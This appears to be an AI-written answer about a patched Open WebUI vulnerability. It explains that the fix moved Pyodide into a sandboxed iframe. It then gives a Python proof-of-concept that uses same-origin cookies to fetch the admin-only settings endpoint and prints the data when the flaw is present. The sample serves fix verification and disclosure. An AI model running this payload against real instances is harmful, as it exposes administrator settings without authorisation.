Patched code sample

It is not possible to provide the Python code that fixes the vulnerability, as the fix was not implemented in Python. The vulnerability was patched by changing the frontend application's architecture to run the Pyodide environment within a sandboxed iframe, which is a non-Python (JavaScript/HTML) change.

As per your request, the following is a Python code example that represents the type of payload used to exploit the vulnerability. In a fixed version of Open WebUI, this code would fail to access the protected endpoint because the sandboxed environment prevents it from making authenticated same-origin requests.

```python
# This code represents the malicious payload that could exploit the vulnerability.
# The actual fix was not in Python, but in the frontend architecture (using a
# sandboxed iframe) which prevents this code from working as intended.

# In a patched system, running this code demonstrates that the fix is working,
# as the request will be unauthenticated and fail.

import js
import asyncio

async def attempt_fetch_protected_endpoint():
    """
    This function attempts to make a web request to a protected, admin-only
    API endpoint from within the client-side Pyodide environment.
    """
    # In a vulnerable version, the browser would automatically attach
    # authentication cookies to this "fetch" request, because it ran in a
    # same-origin context.
    # In the fixed version, this code runs in a sandboxed, cross-origin
    # context, and cookies are not attached. The request therefore fails.
    
    PROTECTED_API_ENDPOINT = '/api/v1/settings' # An example of a protected endpoint

    print(f"Attempting to fetch from: {PROTECTED_API_ENDPOINT}")

    try:
        response = await js.fetch(PROTECTED_API_ENDPOINT)

        if response.ok:
            # This block would execute on a VULNERABLE system
            print("VULNERABILITY PRESENT: Request was successful.")
            data = await response.json()
            print("Received data:", data)
        else:
            # This block would execute on a FIXED system
            print("FIX VERIFIED: Request was not successful.")
            print(f"Status: {response.status} {response.statusText}")

    except Exception as e:
        # A fixed system might also raise a TypeError due to cross-origin restrictions
        print(f"FIX VERIFIED: Request failed with an exception: {e}")

# Execute the asynchronous function
asyncio.run(attempt_fetch_protected_endpoint())